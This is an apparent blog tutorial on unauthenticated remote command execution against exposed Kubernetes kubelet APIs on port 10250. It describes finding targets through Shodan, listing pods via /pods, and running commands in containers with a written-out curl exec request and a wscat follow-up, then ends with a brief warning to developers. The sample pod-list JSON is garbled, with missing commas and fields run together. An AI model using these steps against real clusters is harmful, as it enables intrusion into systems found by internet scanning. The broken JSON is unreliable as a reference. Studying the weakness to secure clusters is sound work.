With the rise of docker new technologies are bound to be designed around concept of containers. Kubernetes is an open-source container-orchestration system for automating application deployment, scaling, and management. It was originally designed by Google.
Kubernetes exposes an unauthenticated REST API on port 10250. If developers arnt careful this API can be exposed to the internet. A quick Shodan search will find a bunch of these services.
Once a Kubernetes service is detected the first thing to do is to get a list of pods by sending a GET request to the /pods endpoint. The server should respond with something like:
{
"kind": "PodList",
"apiVersion": "v1",
"metadata": {},
"items": [
{
"metadata": {
"name": "pushgateway-5fc955dd8d-674qn",
"generateName": "pushgateway-5fc955dd8d-",
"namespace": "monitoring",
"selfLink": "/api/v1/namespaces/monitoring/pods/pushgateway-5fc955dd8d-674qn",
"uid": "d554e035-b759-11e9-814c-525400bdacd2",
"resourceVersion": "9594",
"creationTimestamp": "2019-08-05T08:20:07Z",
"labels": {
"app": "pushgateway",
"pod-template-hash": "1975118848",
"prophet.4paradigm.com/deployment": "pushgateway"
},
"annotations": {
"kubernetes.io/config.seen": "2019-08-05T16:20:07.080938229+08:00",
"kubernetes.io/config.source": "api",
"kubernetes.io/created-by": “{\kind\":\"SerializedReference\" } "ownerReferences": [
{
"apiVersion": "extensions/v1beta1" "kind": "ReplicaSet""name": "pushgateway-5fc955dd8d""uid": "d552bfb3-b759-11e9-814c-525400bdacd2" "controller": true "blockOwnerDeletion": true
}
]
} "spec": {
"volumes": [
{
"name": "default-token-qgm5l" "secret": {
"secretName": "default-token-qgm5l""defaultMode": 420
}
}
] "containers": [
{
"name": "pushgateway""image": "10.10.0.15:35000/prom/pushgateway:v0.4.1" "ports": [
{
"name": "http""containerPort": 9091 "protocol": "TCP"
}
]
From the above response we get namespace name
With this information it is possible to send a requests to the API service that will execute a provided command. This can be done by sending the follow GET request.
curl --insecure -v -H "X-Stream-Protocol-Version: v2.channel.k8s.io" -H "X-Stream-Protocol-Version: channel.k8s.io" -H "Connection: upgrade" -H "Upgrade: SPDY/3.1" -X POST "https://<DOMAIN>:<PORT>/exec/<NAMESPACE>/<POD NAME>/<CONTAINER NAME>?command=<COMMAND TO EXECUTE>&input=1&output=1&tty=1"
After sending the requests you should receive a response similar to the message below:
As you can see the above response indicates it was successful and a websocket connect was created. Note the Location Header value
To handle websocket connections use the tool wscat. This tool can be downloaded by issuing the following command:
apt-get install node-ws
Now take the location header value which was noted earlier and send the following requests to get the command output:
wscat -c "https://<DOMAIN>:<PORT>/<Location Header Value>" --no-check
As you can see in the above image the command "id" was ran on the container and the output is displayed. We have successfully executed code on the remote container
With new technology comes new vulnerabilities. The rise of docker containers gave birth to Kubernetes. If a developer isnt careful they could easily end up exposing the Kubernetes API to the world. This could allow remote attackers to execute commands on containers unauthenticated.
"